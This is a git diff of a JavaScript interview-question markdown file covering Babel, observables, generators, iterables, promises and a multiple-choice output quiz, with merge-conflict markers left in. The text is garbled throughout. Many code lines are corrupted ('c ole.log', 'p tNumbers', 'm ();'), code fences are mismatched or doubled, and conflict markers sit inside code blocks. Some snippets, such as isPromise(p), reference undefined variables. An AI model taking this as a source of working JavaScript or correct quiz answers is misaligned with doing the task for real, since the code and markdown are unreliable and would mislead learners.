+             In JavaScript, primitive types include boolean, string, number, BigInt, null, Symbol and undefined. Whereas non-primitive types include the Objects. But you can easily identify them with the below function,
+
+             ```js
+
+        //
+        var myPrimitive = 30;
+        var myNonPrimitive = {};
+        function isPrimitive(val) {
+        return Object(val) !== val;
+        }
+
+             isPrimitive(myPrimitive);
+             isPrimitive(myNonPrimitive);
+             ```
+
+             If the value is a primitive data type, the Object constructor creates a new wrapper object for the value. But If the value is a non-primitive data type (an object), the Object constructor will give the same object.
+
+398.    What is babel
+
+        Babel is a JavaScript transpiler to convert ECMAScript 2015+ code into a backwards compatible version of JavaScript in current and older browsers or environments. Some of the main features are listed below,
+
+        1. Transform syntax
+        2. Polyfill features that are missing in your target environment (using @babel/polyfill)
+        3. Source code transformations (or codemods)
+
+399.    Is Node.js completely single threaded
+
+        Node is a single thread, but some of the functions included in the Node.js standard library(e.g, fs module functions) are not single threaded. i.e, Their logic runs outside of the Node.js single thread to improve the speed and performance of a program.
+
+400.    What are the common use cases of observables
+
+        Some of the most common use cases of observables are web sockets with push notifications, user input changes, repeating intervals, etc
+
+401.    What is RxJS
+
+        RxJS (Reactive Extensions for JavaScript) is a library for implementing reactive programming using observables that makes it easier to compose asynchronous or callback-based code. It also provides utility functions for creating and working with observables.
+
+402.    What is the difference between Function constructor and function declaration
+
+             The functions which are created with `Function constructor` do not create closures to their creation contexts but they are always created in the global scope. i.e, the function can access its own local variables and global scope variables only. Whereas function declarations can access outer function variables(closures) too.
+
+             Let's see this difference with an example,
+
+             **Function Constructor:**
+
+             ```js
+
+        //
+        var a = 100;
+        function createFunction() {
+        var a = 200;
+        return new Function('return a;');
+        }
+        console.log(createFunction()()); // 100
+
+        ````
+
+             **Function declaration:**
+
+             ```js
+
+        //
+        var a = 100;
+        function createFunction() {
+        var a = 200;
+        return function func() {
+        return a;
+        };
+        }
+        console.log(createFunction()()); // 200
+        ````
+
+403.    What is a Short circuit condition
+
+             Short circuit conditions are meant for condensed way of writing simple if statements. Let's demonstrate the scenario using an example. If you would like to login to a portal with an authentication condition, the expression would be as below,
+
+             ```js
+
+        //
+        if (authenticate) {
+        loginToPorta();
+        }
+
+        ````
+
+             Since the javascript logical operators evaluated from left to right, the above expression can be simplified using && logical operator
+
+             ```js
+
+        //
+        authenticate && loginToPorta();
+        ````
+
+404.    What is the easiest way to resize an array
+
+             The length property of an array is useful to resize or empty an array quickly. Let's apply length property on number array to resize the number of elements from 5 to 2,
+
+             ```js
+
+        //
+        var array = [1, 2, 3, 4, 5];
+        console.log(array.length); // 5
+
+             array.length = 2;
+             console.log(array.length); // 2
+             console.log(array); // [1,2]
+             ```
+
+             and the array can be emptied too
+
+             ```js
+
+        //
+        var array = [1, 2, 3, 4, 5];
+        array.length = 0;
+        console.log(array.length); // 0
+        console.log(array); // []
+
+        ```
+
+        ```
+
+405.    What is an observable
+
+             An Observable is basically a function that can return a stream of values either synchronously or asynchronously to an observer over time. The consumer can get the value by calling `subscribe()` method.
+             Let's look at a simple example of an Observable
+
+             ```js
+
+        //
+        import { Observable } from 'rxjs';
+
+             const observable = new Observable((observer) => {
+                 setTimeout(() => {
+                     observer.next('Message from a Observable!');
+                 }, 3000);
+             });
+
+             observable.subscribe((value) => console.log(value));
+             ```
+
+             ![Screenshot](images/observables.png)
+
+             **Note:** Observables are not part of the JavaScript language yet but they are being proposed to be added to the language
+
+406.    What is the difference between function and class declarations
+
+             The main difference between function declarations and class declarations is `hoisting`. The function declarations are hoisted but not class declarations.
+
+             **Classes:**
+
+             ```js
+
+        //
+        const user = new User(); // ReferenceError
+
+             class User {}
+             ```
+
+             **Constructor Function:**
+
+             ```js
+
+        //
+        const user = new User(); // No error
+
+             function User() {}
+             ```
+
+407.    What is an async function
+
+             An async function is a function declared with the `async` keyword which enables asynchronous, promise-based behavior to be written in a cleaner style by avoiding promise chains. These functions can contain zero or more `await` expressions.
+
+             Let's take a below async function example,
+
+             ```js
+
+        //
+        async function logger() {
+        let data = await fetch('http://someapi.com/users'); // pause until fetch returns
+        console.log(data);
+        }
+        logger();
+
+        ```
+
+             It is basically syntax sugar over ES2015 promises and generators.
+
+        ```
+
+408.    How do you prevent promises swallowing errors
+
+             While using asynchronous code, JavaScript's ES6 promises can make your life a lot easier without having callback pyramids and error handling on every second line. But Promises have some pitfalls and the biggest one is swallowing errors by default.
+
+             Let's say you expect to print an error to the console for all the below cases,
+
+             ```js
+
+        //
+        Promise.resolve('promised value').then(function () {
+        throw new Error('error');
+        });
+
+             Promise.reject('error value').catch(function () {
+                 throw new Error('error');
+             });
+
+             new Promise(function (resolve, reject) {
+                 throw new Error('error');
+             });
+             ```
+
+             But there are many modern JavaScript environments that won't print any errors. You can fix this problem in different ways,
+
+             1. **Add catch block at the end of each chain:** You can add catch block to the end of each of your promise chains
+
+                 ```js
+
+        //
+        Promise.resolve('promised value')
+        .then(function () {
+        throw new Error('error');
+        })
+        .catch(function (error) {
+        console.error(error.stack);
+        });
+
+        ````
+
+                 But it is quite difficult to type for each promise chain and verbose too.
+
+             2. **Add done method:** You can replace first solution's then and catch blocks with done method
+
+                 ```js
+
+        //
+        Promise.resolve('promised value').done(function () {
+        throw new Error('error');
+        });
+        ````
+
+                 Let's say you want to fetch data using HTTP and later perform processing on the resulting data asynchronously. You can write `done` block as below,
+
+                 ```js
+
+        //
+        getDataFromHttp()
+        .then(function (result) {
+        return processDataAsync(result);
+        })
+        .done(function (processed) {
+        displayData(processed);
+        });
+
+        ````
+
+                 In future, if the processing library API changed to synchronous then you can remove `done` block as below,
+
+                 ```js
+
+        //
+        getDataFromHttp().then(function (result) {
+        return displayData(processDataAsync(result));
+        });
+        ````
+
+                 and then you forgot to add `done` block to `then` block leads to silent errors.
+
+             3. **Extend ES6 Promises by Bluebird:**
+                Bluebird extends the ES6 Promises API to avoid the issue in the second solution. This library has a "default" onRejection handler which will print all errors from rejected Promises to stderr. After installation, you can process unhandled rejections
+
+                 ```js
+
+        //
+        Promise.onPossiblyUnhandledRejection(function (error) {
+        throw error;
+        });
+
+        ````
+
+                 and discard a rejection, just handle it with an empty catch
+
+                 ```js
+
+        //
+        Promise.reject('error value').catch(function () {});
+        ````
+
+409.    What is deno
+
+        Deno is a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 JavaScript engine and the Rust programming language.
+
+410.    How do you make an object iterable in javascript
+
+             By default, plain objects are not iterable. But you can make the object iterable by defining a `Symbol.iterator` property on it.
+
+             Let's demonstrate this with an example,
+
+             ```js
+
+        //
+        const collection = {
+        one: 1,
+        two: 2,
+        three: 3,
+        [Symbol.iterator]() {
+        const values = Object.keys(this);
+        let i = 0;
+        return {
+        next: () => {
+        return {
+        value: this[values[i++]],
+        done: i > values.length
+        };
+        }
+        };
+        }
+        };
+
+             const iterator = collection[Symbol.iterator]();
+
+             console.log(iterator.next()); // → {value: 1, done: false}
+             console.log(iterator.next()); // → {value: 2, done: false}
+             console.log(iterator.next()); // → {value: 3, done: false}
+             console.log(iterator.next()); // → {value: undefined, done: true}
+             ```
+
+             The above process can be simplified using a generator function,
+
+             ```js
+
+        //
+        const collection = {
+        one: 1,
+        two: 2,
+        three: 3,
+        [Symbol.iterator]: function\* () {
+        for (let key in this) {
+        yield this[key];
+        }
+        }
+        };
+        const iterator = collection[Symbol.iterator]();
+        console.log(iterator.next()); // {value: 1, done: false}
+        console.log(iterator.next()); // {value: 2, done: false}
+        console.log(iterator.next()); // {value: 3, done: false}
+        console.log(iterator.next()); // {value: undefined, done: true}
+
+        ```
+
+        ```
+
+411.    What is a Proper Tail Call
+
+             First, we should know about tail call before talking about "Proper Tail Call". A tail call is a subroutine or function call performed as the final action of a calling function. Whereas **Proper tail call(PTC)** is a technique where the program or code will not create additional stack frames for a recursion when the function call is a tail call.
+
+             For example, the below classic or head recursion of factorial function relies on stack for each step. Each step need to be processed upto `n * factorial(n - 1)`
+
+             ```js
+
+        //
+        function factorial(n) {
+        if (n === 0) {
+        return 1;
+        }
+        return n \* factorial(n - 1);
+        }
+        console.log(factorial(5)); //120
+
+        ````
+
+             But if you use Tail recursion functions, they keep passing all the necessary data it needs down the recursion without relying on the stack.
+
+             ```js
+
+        //
+        function factorial(n, acc = 1) {
+        if (n === 0) {
+        return acc;
+        }
+        return factorial(n - 1, n \* acc);
+        }
+        console.log(factorial(5)); //120
+        ````
+
+             The above pattern returns the same output as the first one. But the accumulator keeps track of total as an argument without using stack memory on recursive calls.
+
+412.    How do you check an object is a promise or not
+
+             If you don't know if a value is a promise or not, wrapping the value as `Promise.resolve(value)` which returns a promise
+
+             ```js
+
+        //
+        function isPromise(object) {
+        if (Promise && Promise.resolve) {
+        return Promise.resolve(object) == object;
+        } else {
+        throw 'Promise not supported in your environment';
+        }
+        }
+
+             var i = 1;
+             var promise = new Promise(function (resolve, reject) {
+                 resolve();
+             });
+
+             console.log(isPromise(i)); // false
+             console.log(isPromise(p)); // true
+             ```
+
+             Another way is to check for `.then()` handler type
+
+             ```js
+
+        //
+        function isPromise(value) {
+        return Boolean(value && typeof value.then === 'function');
+        }
+        var i = 1;
+        var promise = new Promise(function (resolve, reject) {
+        resolve();
+        });
+
+             console.log(isPromise(i)); // false
+             console.log(isPromise(promise)); // true
+             ```
+
+413.    How to detect if a function is called as constructor
+
+             You can use `new.target` pseudo-property to detect whether a function was called as a constructor(using the new operator) or as a regular function call.
+
+             1. If a constructor or function invoked using the new operator, new.target returns a reference to the constructor or function.
+             2. For function calls, new.target is undefined.
+
+             ```js
+
+        //
+        function Myfunc() {
+        if (new.target) {
+        console.log('called with new');
+        } else {
+        console.log('not called with new');
+        }
+        }
+
+             new Myfunc(); // called with new
+             Myfunc(); // not called with new
+             Myfunc.call({}); not called with new
+             ```
+
+414.    What are the differences between arguments object and rest parameter
+
+        There are three main differences between arguments object and rest parameters
+
+        1. The arguments object is an array-like but not an array. Whereas the rest parameters are array instances.
+        2. The arguments object does not support methods such as sort, map, forEach, or pop. Whereas these methods can be used in rest parameters.
+        3. The rest parameters are only the ones that haven't been given a separate name, while the arguments object contains all arguments passed to the function
+
+415.    What are the differences between spread operator and rest parameter
+
+        Rest parameter collects all remaining elements into an array. Whereas Spread operator allows iterables( arrays / objects / strings ) to be expanded into single arguments/elements. i.e, Rest parameter is opposite to the spread operator.
+
+416.    What are the different kinds of generators
+
+             There are five kinds of generators,
+
+             1. **Generator function declaration:**
+
+                 ```js
+
+        //
+        function\* myGenFunc() {
+        yield 1;
+        yield 2;
+        yield 3;
+        }
+        const genObj = myGenFunc();
+
+        ````
+
+             2. **Generator function expressions:**
+
+                 ```js
+
+        //
+        const myGenFunc = function\* () {
+        yield 1;
+        yield 2;
+        yield 3;
+        };
+        const genObj = myGenFunc();
+        ````
+
+             3. **Generator method definitions in object literals:**
+
+                 ```js
+
+        //
+        const myObj = {
+        \*myGeneratorMethod() {
+        yield 1;
+        yield 2;
+        yield 3;
+        }
+        };
+        const genObj = myObj.myGeneratorMethod();
 
-413. How to detect if a function is called as constructor
+        ````
 
-     You can use `new.target` pseudo-property to detect whether a function was called as a constructor(using the new operator) or as a regular function call.
+             4. **Generator method definitions in class:**
 
-     1. If a constructor or function invoked using the new operator, new.target returns a reference to the constructor or function.
-     2. For function calls, new.target is undefined.
+                 ```js
 
-     ```js
-     function Myfunc() {
-        if (new.target) {
-           console.log('called with new');
-        } else {
-           console.log('not called with new');
+        //
+        class MyClass {
+        \*myGeneratorMethod() {
+        yield 1;
+        yield 2;
+        yield 3;
         }
-     }
+        }
+        const myObject = new MyClass();
+        const genObj = myObject.myGeneratorMethod();
+        ````
 
-     new Myfunc(); // called with new
-     Myfunc(); // not called with new
-     Myfunc.call({}); not called with new
-     ```
+             5. **Generator as a computed property:**
 
-414. What are the differences between arguments object and rest parameter
+                 ```js
 
-     There are three main differences between arguments object and rest parameters
+        //
+        const SomeObj = { \*[Symbol.iterator]() {
+        yield 1;
+        yield 2;
+        yield 3;
+        }
+        };
 
-     1. The arguments object is an array-like but not an array. Whereas the rest parameters are array instances.
-     2. The arguments object does not support methods such as sort, map, forEach, or pop. Whereas these methods can be used in rest parameters.
-     3. The rest parameters are only the ones that haven't been given a separate name, while the arguments object contains all arguments passed to the function
+                 console.log(Array.from(SomeObj)); // [ 1, 2, 3 ]
+                 ```
 
-415. What are the differences between spread operator and rest parameter
+417.    What are the built-in iterables
 
-     Rest parameter collects all remaining elements into an array. Whereas Spread operator allows iterables( arrays / objects / strings ) to be expanded into single arguments/elements. i.e, Rest parameter is opposite to the spread operator.
+        Below are the list of built-in iterables in javascript,
 
-416. What are the different kinds of generators
+        1. Arrays and TypedArrays
+        2. Strings: Iterate over each character or Unicode code-points
+        3. Maps: iterate over its key-value pairs
+        4. Sets: iterates over their elements
+        5. arguments: An array-like special variable in functions
+        6. DOM collection such as NodeList
 
-     There are five kinds of generators,
+418.    What are the differences between for...of and for...in statements
 
-     1. **Generator function declaration:**
+             Both for...in and for...of statements iterate over js data structures. The only difference is over what they iterate:
 
-         ```js
-         function* myGenFunc() {
-             yield 1;
-             yield 2;
-             yield 3;
-         }
-         const genObj = myGenFunc();
-         ```
+             1. for..in iterates over all enumerable property keys of an object
+             2. for..of iterates over the values of an iterable object.
 
-     2. **Generator function expressions:**
+             Let's explain this difference with an example,
 
-         ```js
-         const myGenFunc = function* () {
-             yield 1;
-             yield 2;
-             yield 3;
-         };
-         const genObj = myGenFunc();
-         ```
+             ```js
 
-     3. **Generator method definitions in object literals:**
+        //
+        let arr = ['a', 'b', 'c'];
 
-         ```js
-         const myObj = {
-             *myGeneratorMethod() {
-                 yield 1;
-                 yield 2;
-                 yield 3;
-             }
-         };
-         const genObj = myObj.myGeneratorMethod();
-         ```
+             arr.newProp = 'newVlue';
 
-     4. **Generator method definitions in class:**
+             // key are the property keys
+             for (let key in arr) {
+                 console.log(key);
+             }
 
-         ```js
-         class MyClass {
-             *myGeneratorMethod() {
-                 yield 1;
-                 yield 2;
-                 yield 3;
+             // value are the property values
+             for (let value of arr) {
+                 console.log(value);
              }
-         }
-         const myObject = new MyClass();
-         const genObj = myObject.myGeneratorMethod();
-         ```
+             ```
 
-     5. **Generator as a computed property:**
+             Since for..in loop iterates over the keys of the object, the first loop logs 0, 1, 2 and newProp while iterating over the array object. The for..of loop iterates over the values of a arr data structure and logs a, b, c in the console.
 
-         ```js
-         const SomeObj = {
-             *[Symbol.iterator]() {
-                 yield 1;
-                 yield 2;
-                 yield 3;
-             }
-         };
+419.    How do you define instance and non-instance properties
 
-         console.log(Array.from(SomeObj)); // [ 1, 2, 3 ]
-         ```
+             The Instance properties must be defined inside of class methods. For example, name and age properties defined insider constructor as below,
 
-417. What are the built-in iterables
+             ```js
 
-     Below are the list of built-in iterables in javascript,
+        //
+        class Person {
+        constructor(name, age) {
+        this.name = name;
+        this.age = age;
+        }
+        }
 
-     1. Arrays and TypedArrays
-     2. Strings: Iterate over each character or Unicode code-points
-     3. Maps: iterate over its key-value pairs
-     4. Sets: iterates over their elements
-     5. arguments: An array-like special variable in functions
-     6. DOM collection such as NodeList
+        ````
 
-418. What are the differences between for...of and for...in statements
+             But Static(class) and prototype data properties must be defined outside of the ClassBody declaration. Let's assign the age value for Person class as below,
 
-     Both for...in and for...of statements iterate over js data structures. The only difference is over what they iterate:
+             ```js
 
-     1. for..in iterates over all enumerable property keys of an object
-     2. for..of iterates over the values of an iterable object.
+        //
+        Person.staticAge = 30;
+        Person.prototype.prototypeAge = 40;
+        ````
 
-     Let's explain this difference with an example,
+420.    What is the difference between isNaN and Number.isNaN?
 
-     ```js
-     let arr = ['a', 'b', 'c'];
+             1. **isNaN**: The global function `isNaN` converts the argument to a Number and returns true if the resulting value is NaN.
+             2. **Number.isNaN**: This method does not convert the argument. But it returns true when the type is a Number and value is NaN.
 
-     arr.newProp = 'newVlue';
+             Let's see the difference with an example,
 
-     // key are the property keys
-     for (let key in arr) {
-         console.log(key);
-     }
+             ```js
 
-     // value are the property values
-     for (let value of arr) {
-         console.log(value);
-     }
-     ```
+        //
+        isNaN('hello'); // true
+        Number.isNaN('hello'); // false
 
-     Since for..in loop iterates over the keys of the object, the first loop logs 0, 1, 2 and newProp while iterating over the array object. The for..of loop iterates over the values of a arr data structure and logs a, b, c in the console.
+        ```
 
-419. How do you define instance and non-instance properties
+        ```
 
-     The Instance properties must be defined inside of class methods. For example, name and age properties defined insider constructor as below,
+421.    How to invoke an IIFE without any extra brackets?
 
-     ```js
-     class Person {
-         constructor(name, age) {
-             this.name = name;
-             this.age = age;
-         }
-     }
-     ```
+             Immediately Invoked Function Expressions(IIFE) requires a pair of parenthesis to wrap the function which contains set of statements.
 
-     But Static(class) and prototype data properties must be defined outside of the ClassBody declaration. Let's assign the age value for Person class as below,
+             ```js
 
-     ```js
-     Person.staticAge = 30;
-     Person.prototype.prototypeAge = 40;
-     ```
+        //
+        (function (dt) {
+        console.log(dt.toLocaleTimeString());
+        })(new Date());
 
-420. What is the difference between isNaN and Number.isNaN?
+        ````
 
-     1. **isNaN**: The global function `isNaN` converts the argument to a Number and returns true if the resulting value is NaN.
-     2. **Number.isNaN**: This method does not convert the argument. But it returns true when the type is a Number and value is NaN.
+             Since both IIFE and void operator discard the result of an expression, you can avoid the extra brackets using `void operator` for IIFE as below,
 
-     Let's see the difference with an example,
+             ```js
 
-     ```js
-     isNaN('hello'); // true
-     Number.isNaN('hello'); // false
-     ```
+        //
+        void (function (dt) {
+        console.log(dt.toLocaleTimeString());
+        })(new Date());
+        ````
 
-421. How to invoke an IIFE without any extra brackets?
+422.    Is that possible to use expressions in switch cases?
 
-     Immediately Invoked Function Expressions(IIFE) requires a pair of parenthesis to wrap the function which contains set of statements.
+             You might have seen expressions used in switch condition but it is also possible to use for switch cases by assigning true value for the switch condition. Let's see the weather condition based on temparature as an example,
 
-     ```js
-     (function (dt) {
-         console.log(dt.toLocaleTimeString());
-     })(new Date());
-     ```
+             ```js
 
-     Since both IIFE and void operator discard the result of an expression, you can avoid the extra brackets using `void operator` for IIFE as below,
+        //
+        const weather = (function getWeather(temp) {
+        switch (true) {
+        case temp < 0:
+        return 'freezing';
+        case temp < 10:
+        return 'cold';
+        case temp < 24:
+        return 'cool';
+        default:
+        return 'unknown';
+        }
+        })(10);
 
-     ```js
-     void (function (dt) {
-         console.log(dt.toLocaleTimeString());
-     })(new Date());
-     ```
+        ```
 
-422. Is that possible to use expressions in switch cases?
+        ```
 
-     You might have seen expressions used in switch condition but it is also possible to use for switch cases by assigning true value for the switch condition. Let's see the weather condition based on temparature as an example,
+423.    What is the easiest way to ignore promise errors?
 
-     ```js
-     const weather = (function getWeather(temp) {
-         switch (true) {
-             case temp < 0:
-                 return 'freezing';
-             case temp < 10:
-                 return 'cold';
-             case temp < 24:
-                 return 'cool';
-             default:
-                 return 'unknown';
-         }
-     })(10);
-     ```
+             The easiest and safest way to ignore promise errors is void that error. This approach is ESLint friendly too.
 
-423. What is the easiest way to ignore promise errors?
+             ```js
 
-     The easiest and safest way to ignore promise errors is void that error. This approach is ESLint friendly too.
+        //
+        await promise.catch((e) => void e);
 
-     ```js
-     await promise.catch((e) => void e);
-     ```
+        ```
 
-424. How do style the console output using CSS?
+        ```
 
-     You can add CSS styling to the console output using the CSS format content specifier %c. The console string message can be appended after the specifier and CSS style in another argument. Let's print the red the color text using console.log and CSS specifier as below,
+424.    How do style the console output using CSS?
 
-     ```js
-     console.log('%cThis is a red text', 'color:red');
-     ```
+             You can add CSS styling to the console output using the CSS format content specifier %c. The console string message can be appended after the specifier and CSS style in another argument. Let's print the red the color text using console.log and CSS specifier as below,
 
-     It is also possible to add more styles for the content. For example, the font-size can be modified for the above text
+             ```js
 
-     ```js
-     console.log('%cThis is a red text with bigger font', 'color:red; font-size:20px');
-     ```
+        //
+        console.log('%cThis is a red text', 'color:red');
 
-425. What is nullish coalescing operator (??)?
+        ````
 
-     It is a logical operator that returns its right-hand side operand when its left-hand side operand is null or undefined, and otherwise returns its left-hand side operand. This can be contrasted with the logical OR (||) operator, which returns the right-hand side operand if the left operand is any falsy value, not only null or undefined.
+             It is also possible to add more styles for the content. For example, the font-size can be modified for the above text
 
-     ```js
-     console.log(null ?? true); // true
-     console.log(false ?? true); // false
-     console.log(undefined ?? true); // true
-     ```
+             ```js
+
+        //
+        console.log('%cThis is a red text with bigger font', 'color:red; font-size:20px');
+        ````
+
+425.    What is nullish coalescing operator (??)?
+
+             It is a logical operator that returns its right-hand side operand when its left-hand side operand is null or undefined, and otherwise returns its left-hand side operand. This can be contrasted with the logical OR (||) operator, which returns the right-hand side operand if the left operand is any falsy value, not only null or undefined.
+
+             ```js
+
+        //
+        console.log(null ?? true); // true
+        console.log(false ?? true); // false
+        console.log(undefined ?? true); // true
+
+        ```
+
+        ```
+>>>>>>> master
 
 ### Coding Exercise
 
 #### 1. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 var car = new Vehicle('Honda', 'white', '2010', 'UK');
 console.log(car);
 
@@ -6135,12 +13308,24 @@ function Vehicle(model, color, year, country) {
 }
 ```
 
+<<<<<<< HEAD
 -  Undefined
 - 2: ReferenceError
 - 3: null
 - 4: {model: "Honda", color: "white", year: "2010", country: "UK"}
 
 <details><summary><b>Answer</b></summary>
+=======
+-   Undefined
+-   2: ReferenceError
+-   3: null
+-   4: {model: "Honda", color: "white", year: "2010", country: "UK"}
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 4
@@ -6156,8 +13341,13 @@ The function declarations are hoisted similar to any variables. So the placement
 
 ---
 
+<<<<<<< HEAD
 
 ```js
+=======
+```js
+//
+>>>>>>> master
 
 
 function foo() {
@@ -6170,12 +13360,24 @@ function foo() {
 c ole.log(foo(), typeof x, typeof y);
 ```
 
+<<<<<<< HEAD
 -  1, undefined and undefined
 - 2: ReferenceError: X is not defined
 - 3: 1, undefined and number
 - 4: 1, number and number
 
 <details><summary><b>Answer</b></summary>
+=======
+-   1, undefined and undefined
+-   2: ReferenceError: X is not defined
+-   3: 1, undefined and number
+-   4: 1, number and number
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 3
@@ -6183,6 +13385,10 @@ c ole.log(foo(), typeof x, typeof y);
 Of course the return value of `foo()` is 1 due to the increment operator. But the statement `let x = y = 0` declares a local variable x. Whereas y declared as a global variable accidentally. This statement is equivalent to,
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let x;
 window.y = 0;
 x = window.y;
@@ -6199,9 +13405,14 @@ Since the block scoped variable x is undefined outside of the function, the type
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function main() {
     console.log('A');
@@ -6210,6 +13421,7 @@ function main() {
     }, 0);
     console.log('C');
 }
+<<<<<<< HEAD
 m ();
 ```
 
@@ -6219,6 +13431,20 @@ m ();
 - 4: A, C and B
 
 <details><summary><b>Answer</b></summary>
+=======
+m();
+```
+
+-   A, B and C
+-   2: B, A and C
+-   3: A and C
+-   4: A, C and B
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 4
@@ -6242,6 +13468,7 @@ The statements order is based on the event loop mechanism. The order of statemen
 #### 4. What is the output of below equality check
 
 ```js
+<<<<<<< HEAD
 c ole.log(0.1 + 0.2 === 0.3);
 ```
 
@@ -6249,6 +13476,19 @@ c ole.log(0.1 + 0.2 === 0.3);
 - 2: true
 
 <details><summary><b>Answer</b></summary>
+=======
+//
+c ole.log(0.1 + 0.2 === 0.3);
+```
+
+-   1: false
+-   2: true
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -6264,6 +13504,10 @@ You can find more details about the explanation here [0.30000000000000004.com/](
 #### 5. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 var y = 1;
 if (function f() {}) {
     y += typeof f;
@@ -6271,12 +13515,24 @@ if (function f() {}) {
 c ole.log(y);
 ```
 
+<<<<<<< HEAD
 -  1function
 - 2: 1object
 - 3: ReferenceError
 - 4: 1undefined
 
 <details><summary><b>Answer</b></summary>
+=======
+-   1function
+-   2: 1object
+-   3: ReferenceError
+-   4: 1undefined
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 4
@@ -6289,6 +13545,10 @@ The main points in the above code snippets are,
 In other words, it is same as
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 var y = 1;
 if ('foo') {
     y += typeof f;
@@ -6307,8 +13567,13 @@ console.log(y);
 
 ---
 
+<<<<<<< HEAD
 
 ```js
+=======
+```js
+//
+>>>>>>> master
 
 
 function foo() {
@@ -6320,12 +13585,24 @@ function foo() {
 c ole.log(foo());
 ```
 
+<<<<<<< HEAD
 -  Hello World
 - 2: Object {message: "Hello World"}
 - 3: Undefined
 - 4: SyntaxError
 
 <details><summary><b>Answer</b></summary>
+=======
+-   Hello World
+-   2: Object {message: "Hello World"}
+-   3: Undefined
+-   4: SyntaxError
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 3
@@ -6336,9 +13613,14 @@ Whereas if the opening curly brace is along with the return keyword then the fun
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function foo() {
     return {
@@ -6356,6 +13638,10 @@ console.log(foo()); // {message: "Hello World"}
 #### 7. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 var myChars = ['a', 'b', 'c', 'd'];
 delete myChars[0];
 console.log(myChars);
@@ -6363,12 +13649,24 @@ console.log(myChars[0]);
 c ole.log(myChars.length);
 ```
 
+<<<<<<< HEAD
 -  [empty, 'b', 'c', 'd'], empty, 3
 - 2: [null, 'b', 'c', 'd'], empty, 3
 - 3: [empty, 'b', 'c', 'd'], undefined, 4
 - 4: [null, 'b', 'c', 'd'], undefined, 4
 
 <details><summary><b>Answer</b></summary>
+=======
+-   [empty, 'b', 'c', 'd'], empty, 3
+-   2: [null, 'b', 'c', 'd'], empty, 3
+-   3: [empty, 'b', 'c', 'd'], undefined, 4
+-   4: [null, 'b', 'c', 'd'], undefined, 4
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 3
@@ -6384,6 +13682,10 @@ If you try to print myChars then you can observe that it doesn't set an undefine
 #### 8. What is the output of below code in latest Chrome
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 var array1 = new Array(3);
 console.log(array1);
 
@@ -6395,12 +13697,24 @@ var array3 = [, , ,];
 c ole.log(array3);
 ```
 
+<<<<<<< HEAD
 -  [undefined × 3], [undefined × 2, 100], [undefined × 3]
 - 2: [empty × 3], [empty × 2, 100], [empty × 3]
 - 3: [null × 3], [null × 2, 100], [null × 3]
 - 4: [], [100], []
 
 <details><summary><b>Answer</b></summary>
+=======
+-   [undefined × 3], [undefined × 2, 100], [undefined × 3]
+-   2: [empty × 3], [empty × 2, 100], [empty × 3]
+-   3: [null × 3], [null × 2, 100], [null × 3]
+-   4: [], [100], []
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 2
@@ -6416,6 +13730,10 @@ The latest chrome versions display `sparse array`(they are filled with holes) us
 #### 9. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const obj = {
     prop1: function () {
         return 0;
@@ -6433,12 +13751,24 @@ console.log(obj.prop2());
 c ole.log(obj.prop3());
 ```
 
+<<<<<<< HEAD
 -  0, 1, 2
 - 2: 0, { return 1 }, 2
 - 3: 0, { return 1 }, { return 2 }
 - 4: 0, 1, undefined
 
 <details><summary><b>Answer</b></summary>
+=======
+-   0, 1, 2
+-   2: 0, { return 1 }, 2
+-   3: 0, { return 1 }, { return 2 }
+-   4: 0, 1, undefined
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 1
@@ -6453,16 +13783,32 @@ ES6 provides method definitions and property shorthands for objects. So both pro
 #### 10. What is the output of below code
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 console.log(1 < 2 < 3);
 c ole.log(3 > 2 > 1);
 ```
 
+<<<<<<< HEAD
 -  true, true
 - 2: true, false
 - 3: SyntaxError, SyntaxError,
 - 4: false, false
 
 <details><summary><b>Answer</b></summary>
+=======
+-   true, true
+-   2: true, false
+-   3: SyntaxError, SyntaxError,
+-   4: false, false
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 2
@@ -6491,8 +13837,13 @@ Whereas the second statement follows the below order,
 
 ---
 
+<<<<<<< HEAD
 
 ```js
+=======
+```js
+//
+>>>>>>> master
 
 
 function printNumbers(first, second, first) {
@@ -6501,12 +13852,24 @@ function printNumbers(first, second, first) {
 p tNumbers(1, 2, 3);
 ```
 
+<<<<<<< HEAD
 -  1, 2, 3
 - 2: 3, 2, 3
 - 3: SyntaxError: Duplicate parameter name not allowed in this context
 - 4: 1, 2, 1
 
 <details><summary><b>Answer</b></summary>
+=======
+-   1, 2, 3
+-   2: 3, 2, 3
+-   3: SyntaxError: Duplicate parameter name not allowed in this context
+-   4: 1, 2, 1
+
+<details>
+<summary>
+<b>Answer</b>
+</summary>
+>>>>>>> master
 <p>
 
 ##### Answer: 2
@@ -6524,18 +13887,34 @@ The value of the first parameter is mapped to the third argument which is passed
 #### 12. What is the output of below code
 
 ```js
